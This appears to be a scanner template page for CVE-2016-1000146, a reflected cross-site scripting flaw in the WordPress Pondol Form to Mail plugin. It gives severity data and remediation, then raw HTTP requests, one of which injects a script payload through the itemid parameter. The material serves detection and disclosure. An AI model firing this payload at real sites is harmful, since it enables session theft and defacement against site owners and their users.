| Title | WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of the Pondol Form to Mail plugin (>=1.2) or apply a patch provided by the vendor to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0204 |
| CVE ID | CVE-2016-1000146 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin mail pondol-formmail_project vuln |
WordPress Pondol Form to Mail 1.1 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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